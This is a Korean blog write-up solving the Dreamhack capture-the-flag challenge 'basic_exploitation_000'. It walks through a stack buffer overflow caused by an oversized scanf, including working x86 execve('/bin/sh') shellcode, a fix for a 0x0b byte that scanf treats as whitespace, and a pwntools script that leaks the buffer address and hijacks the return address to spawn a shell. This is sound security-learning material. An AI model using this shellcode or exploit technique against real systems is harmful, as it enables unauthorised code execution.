Dreamhack/Pwnable 문제 풀이

[Pwnable] basic_exploitation_000

seobangwool 2026. 4. 15. 11:03

basic_exploitation_000

파일을 키자 말자 보이는 것이

 char buf[0x80];

 scanf("%141s", buf);

버퍼는 0x80 (128바이트) 받으면서

141바이트까지 입력을 허용한다

128바이트
4바이트(SFP)
리턴주소

이렇게 생겼으므로

133바이트부터 141바이트까지 /bin/sh 경로의 셀 주소를 넣어볼 것이다

그런데 위 경로는 셀 코드로 작성했을 때

/bin/sh 경로는

'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80'

으로 23바이트라 안들어가진다

그러면

128바이트
4바이트(SFP)
리턴주소

리턴주소를 버퍼가 있는 주소로 잡고 버퍼에 셀 주소를 넣으면 된다

우선 입력한 값이 어디 저장되는지 확인해보자

image (16)

0xffffd008에 저장되는 것을 알았다

실제로 아무값인 dawd를 넣어보니

image

0xffffd008 이 주소에 들어가진다

이제 위 정보들로

23바이트 셀 주소 + 남은 105바이트 아무 값
아무 값 4바이트
리턴주소로 0xffffd008

이렇게 만들어주면 된다

(python3 -c "import sys; sys.stdout.buffer.write(
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80'
+ b'A'*105 + b'B'*4 + b'\x38\xd0\xff\xff')"; cat) | ./basic_exploitation_000

이렇게 했는데

안됐다

아무리봐도 문제가 없는거같아서 셀코드를

b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

이걸로 수정하고 A를 102바이트로 바꿨더니 됐다.

같은 경로의 셀 코드인데 하나는 되고 하나는 안되는 이유를 모르겠어서 한참 찾아봤더니

표준 c에서는 scanf 가 \x0b를 공백 문자 취급한다고 한다

execve 시스템 콜 번호가 0b 이고 (숫자 11)

mov al, 0x0b 레지스터 al에 11을 넣는 명령어라고 한다

근데 마침 0b 가 아스키로 수직 탭(\v)이라 공백 처리 되어서 문제가 있었던 거였다

비교

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

(python3 -c "import sys; sys.stdout.buffer.write(
b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80' +
b'A'*102 + b'B'*4 + b'\x38\xd0\xff\xff')"; cat) | ./basic_exploitation_000

image

이렇게 접근에 성공했다

이제 서버에 넣어보면

image (17)

또 안된다
이유를 모르겠어서 멘토형님한테 물어보니
운영체제는 프로그램을 실행할 때 가상 메모리를 사용하고,
여러 보안 기능 중 하나로 ASLR (Address Space Layout Randomization)을 통해 메모리 주소를 랜덤하게 배정한다고 한다
실행파일의 코드 영역 등이 매 실행마다 랜덤하게 시작 주소가 바뀌는 구조인거다.

그래서 payload += p32(bufAddress) 이런식으로 버퍼 주소를 가져온 뒤 가져온 값으로 문제를 풀어야한다

야한다

from pwn import *
r=remote('host3.dreamhack.games',20922)

r.recvuntil(b"buf = (")
bufAddress = int(r.recv(10), 16)

payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'\x80'*106
payload += p32(bufAddress)

r.sendline(payload)
r.interactive()

멘토형의 코드를 들고왔다

recvuntil(b"buf = (")를 통해 buf = ( 가 나올 때까지 기다렸다가

나오면 bufAddress = int(r.recv(10), 16) 앞에 10글자를 16진수로 받는다는 뜻이다

그리고 payload는 위에 작성한 것 처럼

실행할 코드 → 쓰레기값 → 리턴주소에 실행할 코드가 있는 곳 주소이다

payload += p32(bufAddress) 는 4바이트 리틀엔디언 형식이다

r.sendline(payload)로 이제 patload를 보내고

r.interactive() 로 상호작용 모드로 전환한다는 뜻이다

그렇게 실행시켜보면

image

성공했다